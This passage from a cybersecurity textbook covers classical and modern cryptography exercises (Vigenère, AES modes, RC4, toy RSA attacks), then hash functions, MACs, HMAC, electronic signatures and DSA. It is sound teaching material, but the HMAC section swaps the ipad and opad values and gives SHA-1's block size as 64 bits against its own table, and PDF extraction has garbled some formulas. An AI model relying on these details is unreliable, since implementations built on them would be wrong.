Custom ASICs 25 Gbit/s 93 Mbit/s —
4.5 A Comparison of PKCS and SKCS 89

gives AES an even bigger speed advantage in relation to RSA. Units outside the CPU,
such as coprocessors, FPGAs and GPUs, on the other hand, can typically exploit
massive parallelism and therefore offer very high throughput, which gets even bigger
as the amount of data to be encrypted increases.
The speed differences, in particular, mean that the two types of cryptosystem are
specially suitable for use in different tasks:
• SKCS: Encryption of large amounts of data.
• PKCS: Encryption of small amounts of data, such as SKCS keys which have to
be distributed, and for electronic signatures.
This is discussed in more detail in the next chapter.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• Cryptography
• Cryptanalysis
• Plaintext
• Ciphertext
• Encryption function
• Decryption function
• Encryption key
• Decryption Key
• A private key
• A public key
• Symmetric encryption
• Asymmetric encryption
• Cryptosystem
• SKCS
• PKCS
• A brute-force attack
• A substitution cipher
• A transposition cipher
• A block cipher
• A stream cipher
• Frequency analysis
• A Vigenère cipher
• A one-time pad
• A Feistel network
• A nonce
• Malleability
• A trapdoor function
90 4 Cryptography

You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

Simon Singhs book “The Code Book: The Secret History of Codes and Code-
breaking” [82] gives a very readable presentation of the historical development
of cryptography from antiquity till today, and can be read by people without a
mathematical background.
There are a large number of classical texts on cryptography which explain the
mathematics that forms the basis for the various cryptosystems and their applications.
Among the many books which cover these topics, Stinson’s “Cryptography: Theory
and Practice”, originally published in 1999 and now in its 4th edition [85], and
Smart’s “Cryptography Made Simple” [83] can be specially recommended. Both
these books also cover a number of the topics which we deal with in the next chapter.
If you want to understand cryptography and its effects and weaknesses better,
it is a really good idea to do some practical experiments with different encryption
algorithms and techniques for cryptanalysis. There are quite a number of tools for this
purpose, both commercially available and as open source software. A good example
of an open source product is CrypTool, which makes it possible to try out a long series
of both classical and modern cryptoalgorithms and various methods of cryptanalysis.
It is available in two versions for Windows and a platform-independent version for
Linux, Mac OS and Windows. Further information can be found (in English or
German) on CrypTool’s portal, at URI https://www.cryptool.org.

Exercises

4.1 Cryptanalysis 1
The letters in the following text are encrypted with a Vigenère cipher, while all the
other characters have been left as in the plaintext. Use Kasiski’s technique to discover
the key and find the plaintext.

dsh ejx flw, nogmie aaecitu, huj cbyfz dag aovi,

eah qhlr aiwe mef fwvfmx dsed aumlx;
rnw gsg dsh mfvvslibgqc fxsgu og gchw lrev -
wf yhc hunrx, el rfuk iur, nx vw jbxhm?
qb zd cbyla, wampse bmypatd rxxzvjh gs zbj shv,
w sjeeiv bk mbovg nrwyjx khx jfnnr,
oyl gfw mpog n’q cijyvcmtm fzvr m ztme gwbr,
bll, m vh zt toovs eah szrig.
gch fvr sdw, jabl huj cbyla, rs b usaymbrww seywfr,
frq lsov gkwka rsfx mgtofucaqc sel;
Exercises 91

rvt rwi gzvaiv t savs-gbriewsnct bv og ylr hghi -

pkim, jmeg mk mye kmoftr bj lart?
bv al dshxz, lriw bvr xeti, sl ye lpcbp lvw ykvy ewqxx,
m xihm rle um ynqow nxiy lcdcqi
oc lav ulm cs ylvw gbetfmbg - trr wzbclbvu gmi osp -
tclhe ar ys fide pon i qbztyi?
qhl akm cyi wnmv mye rwigm, eah qhlr cikf fvr xgh nets
tbw eaclaznz bchllrv larn lcsg;
dig cgn wigqgujh glw zfolm, kvyl glw ufnxa oai xui txrk -
izol, msj haw pon uoafkr xg wf im?
qb zd cbyla, jabl vvx jnxzxi, i mwcx ys glw erw,
tvr nwkhiv xrca kofj avxz fp wbns;
nsh glw flsvcznw wgvwgxta, evvhl vx ytme mw al oej,
lsl calbsq ylr vwlk oy um ynjr.
cgn rrx wzq, xevh lav yhchu, trr agncd aifqqc fyhifsx
bvny cbyj xpe pig nx wgiswp al mjrw;
crx qhl bttoahiq ef xvl hv huj iah gy ponz bbxi -
jlsm dawm mbz wb eoylleg qyjzrv?
a arvx ibfbieiv myrxm ehjwgmggj, agl hufx vw wgfuzp,
gnnh umk yrtamf; qtr’g kaov yhcffjps eakj!
dh gch ylvrc b tag twfyia ede uar bc fzgu wlnwf?
um csk, se m’de bivs mbz hbaflkabzg!

4.2 Cryptanalysis 2
The following ciphertext has been encrypted with a substitution cipher using a
random permutation of the alphabet, which in this case contains letters from the
Danish alphabet, space, comma and full stop. Use a suitable cryptanalytic technique
to reveal the plaintext.
RTR.BAYNCCXSH.HTANWTNS,NWN.N.TR.N,NWAHGBDDNCNAQB.QBWHU,
RGANWTR.N,NWN LCNKNW.XUB.GNÅW,RCN.AUN.SX,KCNWOHWNWCNKYØ
WCBKQEWNQR,KHWRN.AOEWUB.GDNUUNWCN. TNS,NWN.,,DHKYBWCNKV
WØGKRG,KNRYNWCN.AGB.,TNHGBDCNDN,BOOR.KVHWMNDØ.A,ÅTH,KFB
WKAUN.,Å,TEWKA,ÅYB.,TNDRGKBKWEWNYNCABKUB.UÅKKNHWCN.KDRG
KBGN,RGRBGK LRQBYN.,ÅUB.CNOHWX.CNWDRG,KNFDHU,KNWAHGYNCC
NBDDNWVWØGKRG,KNYBWCNWFX.CNK,EDYTDHTTNWACNWTDB.GAOHWBKU
B.RTTN,TXDDNGÅOHWFRXCN.BKFNUØWTNCNU L

Hint: The plaintext is in Danish. Newlines in the ciphertext have no significance.

4.3 AES128 in ECB mode

The following two portions of plaintext are to be encrypted with AES in ECB mode,
using a 128-bit key:
1. B Company to attack target FOX at 0907 hrs
2. B Company to attack target FNX at 0907 hrs
Each character in the plaintext is represented by 8 bits, of which the least significant
7 bits are encoded according to the ASCII standard, and the most significant bit is 0.
The key is of 16 bytes, which can be written as the 32 hexadecimal digits:
B9 73 16 58 F5 C2 7A 7D 62 29 07 EE 41 37 10 A8
92 4 Cryptography

Which ciphertexts are formed from the two pieces of plaintext? (It is easiest to give
the answer as a sequence of hexadecimal digits.) If you compare the ciphertexts, you
will see that some parts of them are the same, while other parts are different. Why is
this?

4.4 AES128 in CBC mode

The two portions of plaintext from Exercise 4.3 are now to be encrypted using AES
in CBC mode, with the same key as before.
Which ciphertexts are formed from the two pieces of plaintext in this case?
How do they differ from the two ciphertexts in Exercise 4.3? Can you explain the
differences?

4.5 AES with two related keys

The following plaintext is to be encrypted using AES in CBC mode with two different
128-bit keys:
B Company to attack target FIX at 0907 hrs
Each character in the plaintext is represented by 8 bits, of which the least significant
7 bits are encoded according to the ASCII standard and the most significant bit is 0.
The two keys (again given by 32 hexadecimal digits) are respectively:
1. B9 73 16 58 F5 C2 7A 7D 62 29 07 EE 41 37 10 A8
2. B9 73 16 58 F5 C2 7A 7D 62 29 07 EE 41 37 10 A9
Which ciphertexts are formed from the plaintext, when (a) key 1 and (b) key 2 are
used? Are the two ciphertexts very different or only slightly so? Is this surprising,
when the keys in fact only differ in one bit position, namely the least significant one?

4.6 RC4
Kluntekrypt Ltd. produces software for implementing RC4 encryption. As their
developers are mainly inexperienced students, they have unfortunately forgotten to
implement the Key Scheduling Algorithm KSA, which is used to initialise RC4’s
state vector 𝑆 with a random permutation of the integers from 0 to 255. Instead it is
initialised so that its 𝑖’th element just contains the value of 𝑖, independently of the key.
Which values will the first 10 bytes in the key stream have, if this implementation
is used? Would you consider this sequence of values to be a sequence of random
numbers in the interval [0..255]? (If you are in doubt and have access to some
statistics packages on a computer, you could perhaps test the sequence using some
tests for randomness.)

4.7 Modular Arithmetic

Evaluate the following expressions:
a) 343 mod 31
b) (19 × 27) mod 31
c) 123456789 mod 31
d) 987654321 mod 31
e) ((123456789 mod 31) × (987654321 mod 31)) mod 31
Exercises 93

f) (123456789 × 987654321) mod 31

g) 27−1 (mod 31)
h) 31−1 (mod 27)
i) 𝜙(31), where 𝜙 is Euler’s totient function.
j) 𝜙(2651)

4.8 The team marches in

The olympic athletes from Langtbortistan are planning how to march in for the
opening ceremony. If they march in three by three, there will be a single athlete
who will be on his own. If they march in four by four, there will be two on their
own. If they march in five by five, there will be three on their own. Use the Chinese
Remainder Theorem to find out how many athletes there are in the team.
There are in fact several possible answers to this problem. Try first to find the least
number which satisfies the conditions. Can you also find the next-to-least number?

4.9 RSA decryption

Harry the Hacker picks up an RSA encrypted message from Interior Minister Ignatius
to Foreign Minister Felix with a ciphertext which in numerical form has the decimal
value 297. He knows that the intended recipient, Felix, has an RSA modulus 𝑛 which
is 437, and a public exponent 𝑝 which is 17. He also knows that the plaintext message
is either the letter ‘A’ (represented by the decimal value 65) or ‘B’ (represented by
66). Without trying to factorise 𝑛, determine which of these two possibilities is
corrrect.
Notice that, even if the numbers in this exercise are relatively small, the attack would
work just as well with large values for 𝑛 and 𝑝, which are always publicly known.
This is an example of a known plaintext attack on RSA.

4.10 Choosing an RSA modulus

In Sect. 4.4.3 it is stated that a modulus 𝑛 for use in RSA is the product of two large
prime numbers, 𝑞 and 𝑟. It is not a trivial task to find large prime numbers, but when
you have found one it is relatively easy to find the next one. Is this a good idea from
a security point of view? To help yourself, try to solve the following problem:
An RSA encrypted message has a ciphertext which in numerical form has the decimal
value 1355267. The sender’s RSA modulus, 𝑛, and public exponent, 𝑝 (which are
both publicly known) are 3732623 and 17 respectively. As usual, 𝑛 = 𝑞 × 𝑟. Harry
the Hacker has analysed the encryption software which he knows that the sender has
installed on his computer. This analysis shows that the software, as a default, will
generate a random prime number for use as 𝑞 and the next prime number for use as
𝑟. As its first guess, it tries 𝑟 = 𝑞 + 2. Using this knowledge, Harry tries to decrypt
the message. Which plaintext does he find?
Chapter 5
Applied Cryptography

In addition to its primary function of ensuring confidentiality of data, cryptography

in its modern form can be used to achieve other important security targets, both in
individual computers and during transport of data in network-based systems. These
targets include:
• Integrity, one of the three CIA targets;
• Authentication, so parties to an exchange can be certain who they are exchanging
information with;
• Non-repudiation, so parties who perform an activity cannot deny that they have
done so;
• Secure distribution of keys for use in encryption.
In this chapter we will look at how cryptographic techniques can be used to achieve
these targets. In Chap. 8 we return to some more specific uses of cryptography for
securing computer networks.

5.1 Integrity

Preserving integrity is, as we have seen in Chap. 1, one of the three main targets for
work on information security: It must not be possible for unauthorised persons or
system faults to modify information.
Encryption does not on its own make it possible to prevent outsiders from mod-
ifying data. Encryption cannot prevent blocks of data being removed, exchanged
or replaced by data from previous activities. As an example, we can imagine the
scenario in Fig. 5.1.
To maintain integrity in an exchange of data, each data block must contain infor-
mation which ensures that it cannot be replaced or re-used without this being obvious.
Typical solutions are based on the use of reference numbers (or time stamps), so the
receiver can keep track of the ordering and any attempts at reusing the transmitted
messages, together with a checksum, which will reveal any attempts at changing

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 95

R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_5
96 5 Applied Cryptography

Alice and Bob communicate with one another, as Alice wants to buy some garden furniture
from Bob’s Garden Ltd. She has previously bought 10 garden chairs and would now like to
have 2 more. All the messages which they exchange with one another are encrypted, so no
outsiders can see what they are about.

An attacker, Eva, monitors their exchange, removes Alice’s messages to Bob and sends the
messages from the previous purchase instead. Alice subsequently receives an invoice 5 times
as big as expected—and both Alice and Bob believe that the other has cheated them.

Fig. 5.1 Lack og integrity leads to an embarassing situation

the message’s contents. The reference must technically speaking be a nonce, which
(as mentioned previously) is created for the occasion and must never be re-used.
Typically, data 𝑑 is sent in a block of the form:

𝑑b𝑧bE (𝑧bH (𝑑b𝑧) , 𝑘)

| {z }

where: 𝑧 is the reference (nonce)

H evaluates a checksum for its argument, here 𝑑b𝑧.
E is a suitable encryption function, here used with key 𝑘.
b stands for concatenation (e.g. if 𝑑 = 𝑐𝑎𝑡 and 𝑧 = 97, then 𝑑b𝑧 = 𝑐𝑎𝑡97).
The checksum H (𝑚) for a message 𝑚 is often called a message digest and the actual
function H a message digest function, one-way hash function or cryptographic hash
function.

5.1.1 Cryptographic Hash Functions

A cryptographic hash function H for creating message digests is typically designed to

provide a “fingerprint” of the message using many fewer bits than the message itself.
The function must have the three important properties shown in Requirements 5.1.
Requirements 5.1 (Properties of a hash function.)
A cryptographic hash function H must be:
1. Non-invertible: I.e. It is a one-way function. This means it is infeasible, given a
digest 𝑣, to find a message 𝑚, such that H (𝑚) = 𝑣. (This property is also known
as preimage resistance.)
2. Weakly collision resistent: It is infeasible, given a message 𝑚 1 , to find another
message 𝑚 2 with the same digest value, i.e. such that H (𝑚 1 ) = H (𝑚 2 ). (This
property is also known as second-preimage resistance.)
3. Strongly collision resistent: It is infeasible to find different messages, 𝑚 1 and
𝑚 2 , such that H (𝑚 1 ) = H (𝑚 2 ).
5.1 Integrity 97

The third of these properties is often regarded as the most important for practical
security, since if the hash function is not collision resistent, it may be possible to
replace a message with a fake which has the same hash value, at the same time as
it is also the hardest requirement to fulfil in practice. This is because the function
is designed to calculate a digest which is much smaller (i.e. contains many fewer
bits) than the message. This idea is illustrated in Fig. 5.2. In the figure, the messages
are all assumed to have a length of 4 bits (so there are 24 (=16) possible different
messages) and the hash values each have a length of 2 bits (so there are 22 (=4)
different hash values). In the real world, the messages might be several thousand bits
long and the hash values a few hundred bits.

Messages

Hash values

Fig. 5.2 Principle of a cryp-

tographic hash function
A potentially large set of mes-
sages is mapped onto a much
smaller set of possible hash
values.
The curved lines indicate
which hash value will be
evaluated for each individual
message.

This means that the number of possible messages is very much larger than the
number of possible hash values, so there must be really many messages which have
the same hash value. The average effort to find a message which corresponds to a
given hash value 𝑣 is, for a well-designed hash function which gives 𝑛-bit digest
values, proportional to 2𝑛 . But the average effort needed to find collisions is only
(as a consequence of the birthday paradox described in Appendix B) proportional
to 2𝑛/2 . The exponent 𝑛/2 is often called the function’s security strength, which is
measured in bits. For a poorly designed hash function, collisions can be found with
a smaller effort, so the security strength will be less than 𝑛/2.
Technically speaking, most cryptographic hash functions use an iterative method
to produce the hash value. The message is divided up into blocks 𝑥 1 , 𝑥2 , . . . , 𝑥 𝑝 of,
say, 𝑟 bits each. If the message length is not a multiple of 𝑟 bits, the final block,
𝑥 𝑝 , is padded with a neutral bit pattern (often just a sequence of 0-bits) to fill it
out to 𝑟 bits. The hash function then operates as a state machine: Starting from an
initial state given by an (algorithm-dependent) Initialisation Vector, 𝐼𝑉, a suitable
transformation function, 𝑓 , is used to combine the content of each block in turn with
the current state to produce a new state. The actual hash value is then all or part of
the final state after the last block has been dealt with. This process looks very similar
to the CBC mode of encryption of block ciphers shown in Fig. 4.10. However, there
98 5 Applied Cryptography

is a very important difference: 𝑓 is not an ordinary encryption function — it is a

one-way function without any trapdoors which could be used to reverse it.
Different hash functions use different padding schemes, functions 𝑓 and initiali-
sation vectors, 𝐼𝑉. Figure 5.3 illustrates the principle of operation for hash functions
based on the so-called Merkle-Damgaard construction, as used by MD5, SHA-1,
SHA-2, RIPEMD and others. In this scheme, 𝑓 is a collision-free compression func-

Message blocks

x1 x2 .... xp

r bits r bits r bits

x1 x2 .... xp
Length
Padding
r bits r bits r bits r bits

IV
n bits
f n bits
f ... n bits f n bits
f nn bits
bits
Finalise

Fig. 5.3 Principle of operation of a cryptographic hash function based on the Merkle-Damgaard
construction

tion which combines the 𝑛-bit state resulting from processing the previous block
of input with the 𝑟-bit content of the current block to produce a new 𝑛-bit state.
The padding (indicated by the green shading) inserted in the last block, 𝑥 𝑝 , is a
sequence of 0-bits. Unfortunately, this makes it impossible to distinguish the hash of
a message 𝑚 from the hash of message 𝑚 with extra 0-bits appended to its end. So
an encoding of the total length of the original message is added—a process known
as length padding or Merkle-Damgaard (MD) strengthening. Finally, for some hash
functions it may be desirable to produce an output which is smaller than the 𝑛 bits
used during the initial part of the calculation, so a finalisation step is added at the
end of the process.
The compression function 𝑓 typically uses several rounds of transformation with
non-linear functions, as shown in Table 5.1. This strategy has the effect that even
tiny changes in the plaintext give big differences between the hash values which are
formed—a phenomenon known as an avalanche effect. For example:
MD5(“Four blind mice came marching”) = d3415be3d42aa5c15301451b4841d5a5
MD5(“Four blind mice came marchinf”) = 9d3d5f44644904a62497aed89112de11
In the binary representation of the texts in this example there is only a difference in
a single bit, but the hash values (here given as sequences of hexadecimal digits) are
markedly different.
Hash functions based on the Merkel-Damgaard construction have a number of
weaknesses. A particularly worrying one is that the hash function makes available
not only the hash value for a message 𝑚, but also its length. From these it is possible,
without actually knowing 𝑚, to calculate a correct hash for a message where 𝑚 has
been extended with further data. Such so-called length extension attacks make this
5.1 Integrity 99

type of hash function unsuitable for many purposes, for example for use in keyed
MACs (see Sect. 5.1.2 below). In 2006, NIST therefore started a competition to find
a new hash function based on new principles.
The winner was Keccak, which is now stan-
dardised as SHA-3. SHA-3 is based on a so-called
x i sponge construction, where the basic step to incor-
r bits porate a block of the message into the final result
is illustrated in Fig. 5.4. The state is divided into
r bits r bits
R two parts, known as R (the rate: 𝑟 bits) and C (the
capacity: 𝑐 bits). Both R and C are initialised to
c bits f c bits
0. In each step, an input block is mixed with the
C
R part of the current state using an XOR function,
and then the function 𝑓 is applied to both parts of
the state to produce a random permutation of the
Fig. 5.4 A step in the operation of a (𝑟 + 𝑐) bits in the state. After the last block of input
sponge
has been dealt with, the actual 𝑛-bit hash value is
derived from the 𝑟 bits in the R part of the final state.
With the sponge construction, the security strength against preimage attacks is
𝑛 bits, and the strength against collision attacks is 𝑛/2 bits as usual. The strength
against length extension attacks depends on the size of the capacity, 𝑐 bits, which in
the final version of the standard is equal to 2𝑛. The reason that SHA-3 is so resistant
to length extension is that the content of C is never output, so it is not possible for
an external attacker to find the entire final state—a pre-requisite for performing the
attack in a simple way.
MD5 is no longer considered secure: Its digest length is too small, and its security
strength against collisions is much less than 64, so it is by no means collision-free. In
2016, a group from Google succeeded in finding some collisions for SHA-1. It has
been known for some time that there was a theoretical possibility of collisions, as its
effective security strength is around 63 bits. 263 is still a large number (about 9 billion
billion), but the team from Google managed to create two different PDF documents
with the same SHA-1 hash value. This was a big effort: the calculation took a total
of 6610 years of CPU time. Nevertheless, SHA-2 or SHA-3 are recommended for
use from now on.

Table 5.1 Commonly used hash functions

MD5 SHA-1 SHA-2 SHA-3
SHA-256 SHA-512 SHA3-256 SHA3-512
Digest length, 𝑛 (bits) 128 160 256 512 256 512
Basic block length, 𝐵 (bits) 512 512 512 1024 1088 576
Max. message length (bits) 264 − 1 264 − 1 264 − 1 2128 − 1 ∞ ∞
Number of rounds 64 80 64 80 24 24
Collision security strength (bits) ~ 18 ~ 63 128 256 128 256
100 5 Applied Cryptography

5.1.2 MAC

An alternative technique for ensuring integrity is to use a Message Authentication

Code (MAC). Here a key 𝑘 is used as an extra parameter for the hash function, so
the hash value for message 𝑚 is evaluated as C (𝑚, 𝑘). The function C must, just
like H , be non-invertible, weakly collision resistent and strongly collision resistent.
It must also have a fourth property, shown in Requirements 5.2. The key 𝑘 must be
a secret, often called a MAC key, which is shared by the sender and receiver.

Requirements 5.2 (Properties of a MAC)

In addition to the three properties given in Requirements 5.1, a MAC must have
the property of:
4. Resistance to existential forgery via plaintext attacks. This impressive term
means that even if an attacker has access to a mechanism (a so-called oracle)
which knows the secret key and can calculate the hash value for any plaintext
which the attacker gives it, it is infeasible for the attacker to find the hash value
for other plaintexts.

Data 𝑑 from Alice to Bob is then typically sent in the form:

𝑑b𝑧bC (𝑑b𝑧, 𝑀𝐾 𝐴𝐵 )

where 𝑀𝐾 𝐴𝐵 is the MAC key which Alice and Bob share. The receiver can check the
integrity by calculating C (𝑑b𝑧, 𝑀𝐾 𝐴𝐵 ) (often known as the tag for the message)
from 𝑑b𝑧 and the shared MAC key, 𝑀𝐾 𝐴𝐵 , and seeing whether this gives the same
result as the tag in the message.
If confidentiality is also required, the data block with its checksum can also be
encrypted—for example with the receiver’s public key:

E (𝑑b𝑧bC (𝑑b𝑧, 𝑀𝐾 𝐴𝐵 ), 𝑃𝐾 𝐵 )

The function C can be designed in various ways. A hash-based MAC (often

abbreviated HMAC) is based on an ordinary cryptographic hash function, such as
MD5, SHA-1 or RIPEMD160. Figure 5.5 illustrates the process. In the figure, ipad
and opad are two padding patterns, which have the same length as the hash function’s
block size, B bits—for example 64 bits for SHA-1 (see Table 5.1). ipad (the “inner”
padding) is a number of repetitions of the bit pattern for the hexadecimal number 5c,
and opad (the “outer” padding) is a number of repetitions of the hexadecimal number
36. They are combined with the key (as so often before, by use of an XOR function, ⊕)
to give the padded keys, ipadkey and opadkey respectively, for the two passes through
the hash function, H . In the first pass, the value of ℎ𝑎𝑠ℎ𝑠𝑢𝑚1 = H (𝑖 𝑝𝑎𝑑𝑘𝑒𝑦b𝑚)
is calculated, where 𝑚 is the message and b again indicates concatenation. In the
second pass, the value of ℎ𝑎𝑠ℎ𝑠𝑢𝑚2 = H (𝑜 𝑝𝑎𝑑𝑘𝑒𝑦bℎ𝑎𝑠ℎ𝑠𝑢𝑚1) is calculated, and
this gives the final result:
5.1 Integrity 101

key 000..........0 key 000..........0

ipad opad
XOR XOR

ipadkey opadkey

B bits B bits
L<= B bits L<= B bits

ipadkey message
Hash function
pass 1
hashsum 1

opadkey hashsum 1
Hash function
pass 2
hashsum 2
B bits
n bits

Fig. 5.5 Generating an HMAC (Source: Wikimedia Commons p)

H ((𝑘 ⊕ 𝑜 𝑝𝑎𝑑)bH ((𝑘 ⊕ 𝑖 𝑝𝑎𝑑)b𝑚))

The use of two chained calculations with the hash function significantly reduces
the risk of collisions, so even HMACs based on MD5 and SHA-1 are considered
acceptable from a security point of view.
The figure shows a case where the key length, 𝐿 bits, is smaller than the hash
function’s block length, 𝐵. In such cases, the key is padded out on the right with
0-bits before it is combined with ipad and opad. The use of short keys is, however,
not a good practice, as one of the most common forms of attack on HMACs is a
brute-force attack to find the key.
Another common approach to calculating a MAC is to base it on a block cipher
operated in CBC mode, as illustrated in Fig. 4.10 in the previous chapter. Both
symmetric (e.g. AES) and asymmetric (e.g. RSA) block ciphers can be used. As we
saw from the discussion in Chap. 4, use of CBC mode has the effect that a given
block’s ciphertext incorporates information from the encryption of all the previous
blocks, since the ciphertext 𝑐 𝑖−1 from the (𝑖 − 1)’th block of plaintext is used in the
calculation of the ciphertext 𝑐 𝑖 for the 𝑖’th block of plaintext, 𝑚 𝑖 :

𝑐 𝑖 = E (𝑚 𝑖 ⊕ 𝑐 𝑖−1 , 𝑘)

This means that the ciphertext from the very last block of plaintext contains infor-
mation from all the previous blocks, and therefore can be used to check integrity.
This so-called CBC-MAC is often used together with encryption of the blocks in
CTR mode; this combination is known as CCM mode.
102 5 Applied Cryptography

5.2 Electronic Signatures

Electronic signatures are used as proof of a document’s origin and to ensure non-
repudiation of sending or receiving. The basic requirements for an electronic signa-
ture, shown in Requirements 5.3, are in principle the same as for ordinary written
signatures.

Requirements 5.3 (Properties of a electronic signature)

An electronic signature must have the properties:
1. A signature cannot be forged, i.e. created by anyone except its true owner.
2. A signature cannot be detached from a document and attached to another docu-
ment.
3. A signed document cannot be modified without the modification being detectable.
4. The signer of a document cannot deny having signed it.

The basic technique for creating an electronic signature is to encrypt the document
which is to be signed, using a key that only the signer (and possibly the receiver)
knows. To check (in this context, the word verify is often used) the signature, it is
necessary to demonstrate that precisely the signer’s key was used.

5.2.1 Verification of Electronic Signatures

How you verify an electronic signature depends on whether the encryption is based
on an SKCS or a PKCS. If Alice wants to send a signed document to Bob, and
they have a shared secret key 𝑆𝐾 𝐴𝐵 in an SKCS, then things are very simple: Alice
encrypts the document with 𝑆𝐾 𝐴𝐵 and if Bob can decrypt the document with 𝑆𝐾 𝐴𝐵 ,
then he knows that it comes from Alice.
Often, however, the sender and receiver do not know one another—or it may be
the intention that the document should be read by several people. In a court case,
for example, there may be documents which whole armies of lawyers, witnesses and
judges have to be certain about the origin of. If an SKCS is used, it will in general be
necessary to have a trustworthy arbitrator, 𝑇, which all the parties know and trust.
This arbitrator certifies the origin of the document via the protocol:

Message 1 𝐴 → 𝑇 : E (𝑑, 𝑆𝐾 𝐴𝑇 )
Message 2 𝑇 → 𝐵 : E (𝑑b𝐴, 𝑆𝐾 𝐵𝑇 )

In Message 1, Alice sends the arbitrator the document 𝑑, encrypted with the
secret key 𝑆𝐾 𝐴𝑇 which she shares with him. The arbitrator knows that the document
comes from Alice, since he only shares this key with Alice. The arbitrator can then
add information about the document’s origin and send it on to Bob (Message 2),
5.2 Electronic Signatures 103

encrypted with the secret key 𝑆𝐾 𝐵𝑇 which he shares with Bob. As before, 𝑑b𝐴
indicates concatenation of the digits in 𝑑 with those in 𝐴.
When the signature is based on a PKCS, there is no need for an arbitrator. To
sign, Alice encrypts the document with her private key, 𝑆𝐾 𝐴. The receiver checks
that Alice’s public key 𝑃𝐾 𝐴 can be used to decrypt the document. This is extremely
simple in reversible cryptosystems, where it is the case that:

D (E (𝑑, 𝑆𝐾 𝐴), 𝑃𝐾 𝐴) = 𝑑

So the act of checking the signature leads to recovery of the document. RSA is a
well-known example of such a reversible cryptosystem.

5.2.2 Electronic Signatures with a PKCS

There is no doubt that electronic signatures based on the use of a PKCS are the
most common. In most European countries they have been recognised since about
the year 2000—in accordance with the EU directive 1999/93/EF [30]—to be just as
valid as hand-written signatures. The basic idea is, as stated above, that the signature
is created by encrypting the document with the signer’s private key. But there is
some variation in how this is done in practice.
The simplest idea is for Alice to add the document encrypted with her private
key, E (𝑚, 𝑆𝐾 𝐴), to the document in plaintext, 𝑚, as shown in Fig. 5.6. To verify

Fig. 5.6 A simple digital

Plaintext message Ciphertext message
signature with a PKCS

the signature, the receiver Bob decrypts the ciphertext with Alice’s public key, 𝑃𝐾 𝐴,
and compares the result with the plaintext.
This simple method is vey rarely used, as it is slow and bulky. A slightly smarter
idea is for Alice only to send the encrypted document, E (𝑚, 𝑆𝐾 𝐴), as shown in
Fig. 5.7. To verify the signature, Bob decrypts the ciphertext, using Alice’s public

Fig. 5.7 Electronic signature

Ciphertext message
with message recovery

key, 𝑃𝐾 𝐴. If the result makes sense, it must have been encrypted by Alice. This
method is known as electronic signature with message recovery, and and is part of
the international standard ISO9796. Even if this method saves a lot of space when
the message is to be sent, it still has the problem that the method is slow, since the
entire document has to be encrypted using a PKCS.
The method also has a built-in security risk: since Bob doesn’t receive the original
plaintext, he cannot see whether the message which he decrypts is the original
message. It might be possible to replace the message with a false message which
gave a valid signature. This would be the case if the cryptosystem is malleable. In fact
104 5 Applied Cryptography

both the RSA and ElGamal-cryptosystems, which are commonly used for creating
digital signatures, are malleable. But the attacker has to know the encryption key in
order to exploit this malleability. Luckily it is the signer’s private key which is used
to create electronic signatures, and this key is kept secret. So the risk is limited.
The third idea is that Alice creates a message digest H (𝑚) for the document,
encrypts it with her private key, 𝑆𝐾 𝐴, and attaches E ( H (𝑚), 𝑆𝐾 𝐴) to the plaintext
of the document, as shown in Fig. 5.8. To verify the signature, Bob derives the

Plaintext message
Fig. 5.8 Electronic signature
with appendix Encrypted digest of message

message digest H (𝑚) from 𝑚, and decrypts the encrypted digest which is attached
to the message, using Alice’s public key. If the results are identical, the document
was signed by Alice.This technique is known as electronic signature with appendix,
and is used in the standards PKCS#1 [54] and Digital Signature Standard (DSS),
which is described in the following section.

5.2.3 Digital Signature Standard (DSS)

The American standard DSS, originally specified in 1991 and now in its fourth
version, FIPS 186-4, describes three possible techniques for generation and verifi-
cation of an electronic signature with appendix. Apart from the RSA-based method
described in the previous section, it is possible to use:
• DSA, based on a variant of the ElGamal cryptosystem.
• ECDSA, based on the use of encryption over elliptical curves.
DSA uses a set of parameters, which are typically shared by a group of users,
together with a public key and private key for each individual user. The parameters
are:
• 𝑝, a prime number with a size, 𝐿, between 512 and 3072 bits, which is used as a
modulus;
• 𝑞, a prime factor of ( 𝑝 − 1), with a size, 𝑁, between 160 and 256 bits;
• ℎ, a randomly chosen integer, such that 1 < ℎ < ( 𝑝 − 1) and ℎ ( 𝑝−1)/𝑞 mod 𝑝 > 1
• 𝑔 = ℎ ( 𝑝−1)/𝑞 mod 𝑝
All these parameters can be made public. The choice of 𝐿 and 𝑁 naturally depends
on the desired security strength for the signature. In the first version of DSS, the
combination (𝐿 = 512, 𝑁 = 160) was recommended. The recommendation today is
(𝐿 = 3072, 𝑁 = 256) for signatures which are to be valid in the long term.
For each user, a random integer, 𝑥, where 0 < 𝑥 < 𝑞, is chosen as the user’s
private key, and the user’s public key is evaluated as 𝑦 = 𝑔 𝑥 mod 𝑝. This is secure
5.2 Electronic Signatures 105

because, as discussed above, it is very hard to derive the value of the exponent 𝑥 if
you only know the value of this modular exponentiation.
Formation of a signature:
To sign a message, 𝑚, the signer chooses a random message key, 𝑘, which is smaller
than 𝑞 and must be kept secret, and then calculates the values of two integers, (𝑟, 𝑠),
which make up the actual signature:

𝑟 = (𝑔 𝑘 mod 𝑝) mod 𝑞
𝑠 = (𝑘 −1 × ( H (𝑚) + 𝑥 × 𝑟)) mod 𝑞

H is a hash function with a suitably high security strength—originally SHA-1, but

nowadays one of the functions SHA-2 or SHA-3. Both 𝑟 and 𝑠 must be bigger than 0.
If this is not the case, a new message key, 𝑘, has to be chosen.
Verification of a signature:
To verify a signature, you first check that 𝑟 and 𝑠 are both bigger than 0. If they are
not, the signature must be rejected. Otherwise a value 𝑣 is evaluated as follows:

𝑤 = 𝑠−1 mod 𝑞
𝑢 1 = ( H (𝑚) × 𝑤) mod 𝑞
𝑢 2 = (𝑟 × 𝑤) mod 𝑞
𝑣 = ((𝑔 𝑢1 × 𝑦 𝑢2 ) mod 𝑝) mod 𝑞

The signature is accepted if 𝑣 = 𝑟.

Efficiency:
As 𝑟 and 𝑠 are evaluated modulo 𝑞, the signature consists of two 𝑁-bit integers.
This means it is much smaller than an RSA signature, so DSA is often preferred for
applications where it is important that the signature does not take up too much room.
Formation and verification of the signature is, however, often noticeably more de-
manding than with RSA, as there is no possibility of “economising” by using small
values for the exponents 𝑘, 𝑢 1 and 𝑢 2 .
Security in DSA:
